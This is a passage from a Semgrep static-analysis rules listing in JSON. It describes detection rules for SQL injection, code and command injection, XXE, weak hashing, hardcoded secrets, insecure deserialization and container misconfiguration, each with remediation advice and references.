python.lang.compatibility.python37.python37-compatibility-ipv4network1"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Distinct, Having, Group_by, Order_by, and Filter in SQLAlchemy can cause sql injections if the developer inputs raw SQL into the before-mentioned clauses. This pattern captures relevant cases in which the developer inputs raw SQL into the distinct, having, group_by, order_by or filter clauses and injects user-input into the raw SQL with any function besides \"bindparams\". Use bindParams to securely bind user-input to SQL statements."},"help":{"markdown":"Distinct, Having, Group_by, Order_by, and Filter in SQLAlchemy can cause sql injections if the developer inputs raw SQL into the before-mentioned clauses. This pattern captures relevant cases in which the developer inputs raw SQL into the distinct, having, group_by, order_by or filter clauses and injects user-input into the raw SQL with any function besides \"bindparams\". Use bindParams to securely bind user-input to SQL statements.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.sqlalchemy.security.sqlalchemy-sql-injection.sqlalchemy-sql-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Distinct, Having, Group_by, Order_by, and Filter in SQLAlchemy can cause sql injections if the developer inputs raw SQL into the before-mentioned clauses. This pattern captures relevant cases in which the developer inputs raw SQL into the distinct, having, group_by, order_by or filter clauses and injects user-input into the raw SQL with any function besides \"bindparams\". Use bindParams to securely bind user-input to SQL statements."},"helpUri":"https://semgrep.dev/r/python.sqlalchemy.security.sqlalchemy-sql-injection.sqlalchemy-sql-injection","id":"python.sqlalchemy.security.sqlalchemy-sql-injection.sqlalchemy-sql-injection","name":"python.sqlalchemy.security.sqlalchemy-sql-injection.sqlalchemy-sql-injection","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.sqlalchemy.security.sqlalchemy-sql-injection.sqlalchemy-sql-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Make sure that unverified user data can not reach `vm2`."},"help":{"markdown":"Make sure that unverified user data can not reach `vm2`.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.vm2.security.audit.vm2-context-injection.vm2-context-injection)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Make sure that unverified user data can not reach `vm2`."},"helpUri":"https://semgrep.dev/r/javascript.vm2.security.audit.vm2-context-injection.vm2-context-injection","id":"javascript.vm2.security.audit.vm2-context-injection.vm2-context-injection","name":"javascript.vm2.security.audit.vm2-context-injection.vm2-context-injection","properties":{"precision":"very-high","tags":["CWE-94: Improper Control of Generation of Code ('Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.vm2.security.audit.vm2-context-injection.vm2-context-injection"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Should not use md5 to generate hashes. md5 is proven to be vulnerable through the use of brute-force attacks. Could also result in collisions, leading to potential collision attacks. Use SHA256 or other hashing functions instead."},"help":{"markdown":"Should not use md5 to generate hashes. md5 is proven to be vulnerable through the use of brute-force attacks. Could also result in collisions, leading to potential collision attacks. Use SHA256 or other hashing functions instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.lang.security.weak-hashes-md5.weak-hashes-md5)\n - [https://www.ibm.com/support/pages/security-bulletin-vulnerability-md5-signature-and-hash-algorithm-affects-sterling-integrator-and-sterling-file-gateway-cve-2015-7575](https://www.ibm.com/support/pages/security-bulletin-vulnerability-md5-signature-and-hash-algorithm-affects-sterling-integrator-and-sterling-file-gateway-cve-2015-7575)\n","text":"Should not use md5 to generate hashes. md5 is proven to be vulnerable through the use of brute-force attacks. Could also result in collisions, leading to potential collision attacks. Use SHA256 or other hashing functions instead."},"helpUri":"https://semgrep.dev/r/ruby.lang.security.weak-hashes-md5.weak-hashes-md5","id":"ruby.lang.security.weak-hashes-md5.weak-hashes-md5","name":"ruby.lang.security.weak-hashes-md5.weak-hashes-md5","properties":{"precision":"very-high","tags":["CWE-328: Use of Weak Hash","MEDIUM CONFIDENCE","OWASP-A02:2021 - Cryptographic Failures","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.lang.security.weak-hashes-md5.weak-hashes-md5"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.fastapi.db.sqlobject-fastapi.sqlobject-fastapi)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n - [https://sqlobject.org/SQLBuilder.html](https://sqlobject.org/SQLBuilder.html)\n - [https://sqlobject.org/SQLObject.html](https://sqlobject.org/SQLObject.html)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. Don’t manually concatenate values to a query, use SQLBuilder instead to avoid SQL injection."},"helpUri":"https://semgrep.dev/r/python.fastapi.db.sqlobject-fastapi.sqlobject-fastapi","id":"python.fastapi.db.sqlobject-fastapi.sqlobject-fastapi","name":"python.fastapi.db.sqlobject-fastapi.sqlobject-fastapi","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.fastapi.db.sqlobject-fastapi.sqlobject-fastapi"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Ensure ImageBuilder component is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"help":{"markdown":"Ensure ImageBuilder component is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/terraform.aws.security.aws-imagebuilder-component-encrypted-with-cmk.aws-imagebuilder-component-encrypted-with-cmk)\n - [https://owasp.org/Top10/A02_2021-Cryptographic_Failures](https://owasp.org/Top10/A02_2021-Cryptographic_Failures)\n","text":"Ensure ImageBuilder component is encrypted at rest using KMS CMKs. CMKs gives you control over the encryption key in terms of access and rotation."},"helpUri":"https://semgrep.dev/r/terraform.aws.security.aws-imagebuilder-component-encrypted-with-cmk.aws-imagebuilder-component-encrypted-with-cmk","id":"terraform.aws.security.aws-imagebuilder-component-encrypted-with-cmk.aws-imagebuilder-component-encrypted-with-cmk","name":"terraform.aws.security.aws-imagebuilder-component-encrypted-with-cmk.aws-imagebuilder-component-encrypted-with-cmk","properties":{"precision":"very-high","tags":["CWE-320: CWE CATEGORY: Key Management Errors","LOW CONFIDENCE","OWASP-A03:2017 - Sensitive Data Exposure","security"]},"shortDescription":{"text":"Semgrep Finding: terraform.aws.security.aws-imagebuilder-component-encrypted-with-cmk.aws-imagebuilder-component-encrypted-with-cmk"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.express-sqlite-sqli.express-sqlite-sqli)\n - [https://www.sqlitetutorial.net/sqlite-nodejs/](https://www.sqlitetutorial.net/sqlite-nodejs/)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.express-sqlite-sqli.express-sqlite-sqli","id":"javascript.express.express-sqlite-sqli.express-sqlite-sqli","name":"javascript.express.express-sqlite-sqli.express-sqlite-sqli","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.express-sqlite-sqli.express-sqlite-sqli"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"help":{"markdown":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.db.mongoose-where-express.mongoose-where-express)\n - [https://owasp.org/Top10/A03_2021-Injection](https://owasp.org/Top10/A03_2021-Injection)\n","text":"Untrusted input might be used to build a database query, which can lead to a SQL injection vulnerability. An attacker can execute malicious SQL statements and gain unauthorized access to sensitive data, modify, delete data, or execute arbitrary system commands. To prevent this vulnerability, use prepared statements that do not concatenate user-controllable strings and use parameterized queries where SQL commands and user data are strictly separated. Also, consider using an object-relational (ORM) framework to operate with safer abstractions."},"helpUri":"https://semgrep.dev/r/javascript.express.db.mongoose-where-express.mongoose-where-express","id":"javascript.express.db.mongoose-where-express.mongoose-where-express","name":"javascript.express.db.mongoose-where-express.mongoose-where-express","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","HIGH CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.db.mongoose-where-express.mongoose-where-express"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Something that looks like a PGP private key block is detected. This is a potential hardcoded secret that could be leaked if this code is committed. Instead, remove this code block from the commit."},"help":{"markdown":"Something that looks like a PGP private key block is detected. This is a potential hardcoded secret that could be leaked if this code is committed. Instead, remove this code block from the commit.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/generic.secrets.security.detected-pgp-private-key-block.detected-pgp-private-key-block)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"Something that looks like a PGP private key block is detected. This is a potential hardcoded secret that could be leaked if this code is committed. Instead, remove this code block from the commit."},"helpUri":"https://semgrep.dev/r/generic.secrets.security.detected-pgp-private-key-block.detected-pgp-private-key-block","id":"generic.secrets.security.detected-pgp-private-key-block.detected-pgp-private-key-block","name":"generic.secrets.security.detected-pgp-private-key-block.detected-pgp-private-key-block","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","LOW CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: generic.secrets.security.detected-pgp-private-key-block.detected-pgp-private-key-block"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected use of parseXml() function with the `noent` field set to `true`. This can lead to an XML External Entities (XXE) attack if untrusted data is passed into it."},"help":{"markdown":"Detected use of parseXml() function with the `noent` field set to `true`. This can lead to an XML External Entities (XXE) attack if untrusted data is passed into it.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.express.security.audit.express-libxml-vm-noent.express-libxml-vm-noent)\n - [https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/XML_External_Entity_Prevention_Cheat_Sheet.html)\n","text":"Detected use of parseXml() function with the `noent` field set to `true`. This can lead to an XML External Entities (XXE) attack if untrusted data is passed into it."},"helpUri":"https://semgrep.dev/r/javascript.express.security.audit.express-libxml-vm-noent.express-libxml-vm-noent","id":"javascript.express.security.audit.express-libxml-vm-noent.express-libxml-vm-noent","name":"javascript.express.security.audit.express-libxml-vm-noent.express-libxml-vm-noent","properties":{"precision":"very-high","tags":["CWE-611: Improper Restriction of XML External Entity Reference","LOW CONFIDENCE","OWASP-A04:2017 - XML External Entities (XXE)","OWASP-A05:2021 - Security Misconfiguration","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.express.security.audit.express-libxml-vm-noent.express-libxml-vm-noent"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user data flowing into eval. This is code injection and should be avoided."},"help":{"markdown":"Detected user data flowing into eval. This is code injection and should be avoided.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.injection.user-eval.eval-injection)\n - [https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html](https://nedbatchelder.com/blog/201206/eval_really_is_dangerous.html)\n","text":"Detected user data flowing into eval. This is code injection and should be avoided."},"helpUri":"https://semgrep.dev/r/python.flask.security.injection.user-eval.eval-injection","id":"python.flask.security.injection.user-eval.eval-injection","name":"python.flask.security.injection.user-eval.eval-injection","properties":{"precision":"very-high","tags":["CWE-95: Improper Neutralization of Directives in Dynamically Evaluated Code ('Eval Injection')","MEDIUM CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.injection.user-eval.eval-injection"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The Flask secret key is used as salt in HashIDs. The HashID mechanism is not secure. By observing sufficient HashIDs, the salt used to construct them can be recovered. This means the Flask secret key can be obtained by attackers, through the HashIDs."},"help":{"markdown":"The Flask secret key is used as salt in HashIDs. The HashID mechanism is not secure. By observing sufficient HashIDs, the salt used to construct them can be recovered. This means the Flask secret key can be obtained by attackers, through the HashIDs.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.flask.security.hashids-with-flask-secret.hashids-with-flask-secret)\n - [https://flask.palletsprojects.com/en/2.2.x/config/#SECRET_KEY](https://flask.palletsprojects.com/en/2.2.x/config/#SECRET_KEY)\n - [http://carnage.github.io/2015/08/cryptanalysis-of-hashids](http://carnage.github.io/2015/08/cryptanalysis-of-hashids)\n","text":"The Flask secret key is used as salt in HashIDs. The HashID mechanism is not secure. By observing sufficient HashIDs, the salt used to construct them can be recovered. This means the Flask secret key can be obtained by attackers, through the HashIDs."},"helpUri":"https://semgrep.dev/r/python.flask.security.hashids-with-flask-secret.hashids-with-flask-secret","id":"python.flask.security.hashids-with-flask-secret.hashids-with-flask-secret","name":"python.flask.security.hashids-with-flask-secret.hashids-with-flask-secret","properties":{"precision":"very-high","tags":["CWE-327: Use of a Broken or Risky Cryptographic Algorithm","HIGH CONFIDENCE","OWASP-A02:2021 – Cryptographic Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.flask.security.hashids-with-flask-secret.hashids-with-flask-secret"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as ActiveRecord which will protect your queries."},"help":{"markdown":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as ActiveRecord which will protect your queries.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/ruby.rails.security.injection.tainted-sql-string.tainted-sql-string)\n - [https://rorsecurity.info/portfolio/ruby-on-rails-sql-injection-cheat-sheet](https://rorsecurity.info/portfolio/ruby-on-rails-sql-injection-cheat-sheet)\n","text":"Detected user input used to manually construct a SQL string. This is usually bad practice because manual construction could accidentally result in a SQL injection. An attacker could use a SQL injection to steal or modify contents of the database. Instead, use a parameterized query which is available by default in most database engines. Alternatively, consider using an object-relational mapper (ORM) such as ActiveRecord which will protect your queries."},"helpUri":"https://semgrep.dev/r/ruby.rails.security.injection.tainted-sql-string.tainted-sql-string","id":"ruby.rails.security.injection.tainted-sql-string.tainted-sql-string","name":"ruby.rails.security.injection.tainted-sql-string.tainted-sql-string","properties":{"precision":"very-high","tags":["CWE-89: Improper Neutralization of Special Elements used in an SQL Command ('SQL Injection')","MEDIUM CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: ruby.rails.security.injection.tainted-sql-string.tainted-sql-string"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Using 'globals()' as a context to 'render(...)' is extremely dangerous. This exposes Python functions to the template that were not meant to be exposed. An attacker could use these functions to execute code that was not intended to run and could compromise the application. (This is server-side template injection (SSTI)). Do not use 'globals()'. Instead, specify each variable in a dictionary or 'django.template.Context' object, like '{\"var1\": \"hello\"}' and use that instead."},"help":{"markdown":"Using 'globals()' as a context to 'render(...)' is extremely dangerous. This exposes Python functions to the template that were not meant to be exposed. An attacker could use these functions to execute code that was not intended to run and could compromise the application. (This is server-side template injection (SSTI)). Do not use 'globals()'. Instead, specify each variable in a dictionary or 'django.template.Context' object, like '{\"var1\": \"hello\"}' and use that instead.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.django.security.globals-as-template-context.globals-as-template-context)\n - [https://docs.djangoproject.com/en/3.2/ref/settings/#templates](https://docs.djangoproject.com/en/3.2/ref/settings/#templates)\n - [https://docs.djangoproject.com/en/3.2/topics/templates/#django.template.backends.django.DjangoTemplates](https://docs.djangoproject.com/en/3.2/topics/templates/#django.template.backends.django.DjangoTemplates)\n - [https://docs.djangoproject.com/en/3.2/ref/templates/api/#rendering-a-context](https://docs.djangoproject.com/en/3.2/ref/templates/api/#rendering-a-context)\n","text":"Using 'globals()' as a context to 'render(...)' is extremely dangerous. This exposes Python functions to the template that were not meant to be exposed. An attacker could use these functions to execute code that was not intended to run and could compromise the application. (This is server-side template injection (SSTI)). Do not use 'globals()'. Instead, specify each variable in a dictionary or 'django.template.Context' object, like '{\"var1\": \"hello\"}' and use that instead."},"helpUri":"https://semgrep.dev/r/python.django.security.globals-as-template-context.globals-as-template-context","id":"python.django.security.globals-as-template-context.globals-as-template-context","name":"python.django.security.globals-as-template-context.globals-as-template-context","properties":{"precision":"very-high","tags":["CWE-96: Improper Neutralization of Directives in Statically Saved Code ('Static Code Injection')","LOW CONFIDENCE","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: python.django.security.globals-as-template-context.globals-as-template-context"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"Detected non-literal calls to $EXEC(). This could lead to a command injection vulnerability."},"help":{"markdown":"Detected non-literal calls to $EXEC(). This could lead to a command injection vulnerability.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.lang.security.audit.dangerous-spawn-shell.dangerous-spawn-shell)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#do-not-use-dangerous-functions](https://cheatsheetseries.owasp.org/cheatsheets/Nodejs_Security_Cheat_Sheet.html#do-not-use-dangerous-functions)\n","text":"Detected non-literal calls to $EXEC(). This could lead to a command injection vulnerability."},"helpUri":"https://semgrep.dev/r/javascript.lang.security.audit.dangerous-spawn-shell.dangerous-spawn-shell","id":"javascript.lang.security.audit.dangerous-spawn-shell.dangerous-spawn-shell","name":"javascript.lang.security.audit.dangerous-spawn-shell.dangerous-spawn-shell","properties":{"precision":"very-high","tags":["CWE-78: Improper Neutralization of Special Elements used in an OS Command ('OS Command Injection')","LOW CONFIDENCE","OWASP-A01:2017 - Injection","OWASP-A03:2021 - Injection","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.lang.security.audit.dangerous-spawn-shell.dangerous-spawn-shell"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/kotlin.gradle.security.build-gradle-password-hardcoded.build-gradle-password-hardcoded)\n - [https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures](https://owasp.org/Top10/A07_2021-Identification_and_Authentication_Failures)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. It is recommended to rotate the secret and retrieve them from a secure secret vault or Hardware Security Module (HSM), alternatively environment variables can be used if allowed by your company policy."},"helpUri":"https://semgrep.dev/r/kotlin.gradle.security.build-gradle-password-hardcoded.build-gradle-password-hardcoded","id":"kotlin.gradle.security.build-gradle-password-hardcoded.build-gradle-password-hardcoded","name":"kotlin.gradle.security.build-gradle-password-hardcoded.build-gradle-password-hardcoded","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","MEDIUM CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: kotlin.gradle.security.build-gradle-password-hardcoded.build-gradle-password-hardcoded"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"help":{"markdown":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM).\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/javascript.axios.hardcoded-bearer-token.hardcoded-bearer-token)\n - [https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html](https://cheatsheetseries.owasp.org/cheatsheets/Secrets_Management_Cheat_Sheet.html)\n","text":"A secret is hard-coded in the application. Secrets stored in source code, such as credentials, identifiers, and other types of sensitive data, can be leaked and used by internal or external malicious actors. Use environment variables to securely provide credentials and other secrets or retrieve them from a secure vault or Hardware Security Module (HSM)."},"helpUri":"https://semgrep.dev/r/javascript.axios.hardcoded-bearer-token.hardcoded-bearer-token","id":"javascript.axios.hardcoded-bearer-token.hardcoded-bearer-token","name":"javascript.axios.hardcoded-bearer-token.hardcoded-bearer-token","properties":{"precision":"very-high","tags":["CWE-798: Use of Hard-coded Credentials","HIGH CONFIDENCE","OWASP-A07:2021 - Identification and Authentication Failures","security"]},"shortDescription":{"text":"Semgrep Finding: javascript.axios.hardcoded-bearer-token.hardcoded-bearer-token"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Container is explicitly disabling seccomp confinement. This runs the service in an unrestricted state. Remove 'seccompProfile: unconfined' to prevent this."},"help":{"markdown":"Container is explicitly disabling seccomp confinement. This runs the service in an unrestricted state. Remove 'seccompProfile: unconfined' to prevent this.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/yaml.kubernetes.security.seccomp-confinement-disabled.seccomp-confinement-disabled)\n - [https://kubernetes.io/docs/concepts/policy/pod-security-policy/#seccomp](https://kubernetes.io/docs/concepts/policy/pod-security-policy/#seccomp)\n - [https://kubernetes.io/docs/tasks/configure-pod-container/security-context/](https://kubernetes.io/docs/tasks/configure-pod-container/security-context/)\n","text":"Container is explicitly disabling seccomp confinement. This runs the service in an unrestricted state. Remove 'seccompProfile: unconfined' to prevent this."},"helpUri":"https://semgrep.dev/r/yaml.kubernetes.security.seccomp-confinement-disabled.seccomp-confinement-disabled","id":"yaml.kubernetes.security.seccomp-confinement-disabled.seccomp-confinement-disabled","name":"yaml.kubernetes.security.seccomp-confinement-disabled.seccomp-confinement-disabled","properties":{"precision":"very-high","tags":["CWE-284: Improper Access Control","MEDIUM CONFIDENCE","OWASP-A01:2021 - Broken Access Control","OWASP-A05:2017 - Broken Access Control","security"]},"shortDescription":{"text":"Semgrep Finding: yaml.kubernetes.security.seccomp-confinement-disabled.seccomp-confinement-disabled"}},{"defaultConfiguration":{"level":"error"},"fullDescription":{"text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Starting from `ruamel.yaml` version 0.15.0 The default loader (`typ='rt'`) is a direct derivative of the safe loader. Before this version, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"help":{"markdown":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Starting from `ruamel.yaml` version 0.15.0 The default loader (`typ='rt'`) is a direct derivative of the safe loader. Before this version, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function.\n\n<b>References:</b>\n - [Semgrep Rule](https://semgrep.dev/r/python.pyramid.deserialization.tainted-ruamel-pyramid.tainted-ruamel-pyramid)\n - [https://portswigger.net/web-security/deserialization](https://portswigger.net/web-security/deserialization)\n - [https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation](https://github.com/yaml/pyyaml/wiki/PyYAML-yaml.load(input)-Deprecation)\n - [https://nvd.nist.gov/vuln/detail/CVE-2017-18342](https://nvd.nist.gov/vuln/detail/CVE-2017-18342)\n - [https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html](https://knowledge-base.secureflag.com/vulnerabilities/unsafe_deserialization/unsafe_deserialization_python.html)\n - [https://cwe.mitre.org/data/definitions/502.html](https://cwe.mitre.org/data/definitions/502.html)\n","text":"The application may convert user-controlled data into an object, which can lead to an insecure deserialization vulnerability. An attacker can create a malicious serialized object, pass it to the application, and take advantage of the deserialization process to perform Denial-of-service (DoS), Remote code execution (RCE), or bypass access control measures. To prevent this vulnerability, leverage data formats such as JSON or XML as safer alternatives. If you need to deserialize user input in a specific format, consider digitally signing the data before serialization to prevent tampering. For more information, see: [Deserialization prevention](https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html) Starting from `ruamel.yaml` version 0.15.0 The default loader (`typ='rt'`) is a direct derivative of the safe loader. Before this version, use the optional argument `Loader` with value `SafeLoader` or `CSafeLoader`, or use the `safe_load` function."},"helpUri":"https://semgrep.dev/r/python.pyramid.deserialization.tainted-ruamel-pyramid.tainted-ruamel-pyramid","id":"python.pyramid.deserialization.tainted-ruamel-pyramid.tainted-ruamel-pyramid","name":"python.pyramid.deserialization.tainted-ruamel-pyramid.tainted-ruamel-pyramid","properties":{"precision":"very-high","tags":["CWE-502: Deserialization of Untrusted Data","HIGH CONFIDENCE","OWASP-A08:2017 - Insecure Deserialization","OWASP-A08:2021 - Software and Data Integrity Failures","security"]},"shortDescription":{"text":"Semgrep Finding: python.pyramid.deserialization.tainted-ruamel-pyramid.tainted-ruamel-pyramid"}},{"defaultConfiguration":{"level":"warning"},"fullDescription":{"text":"Detected a potential path traversal. A malicious actor could control the location of this file, to include going backwards in the directory with '../'. To address this, ensure that user-controlled variables in file paths are sanitized. You may also consider using a utility method such as org.apache.commons.io.FilenameUtils.getName(...) to only retrieve the file name from the 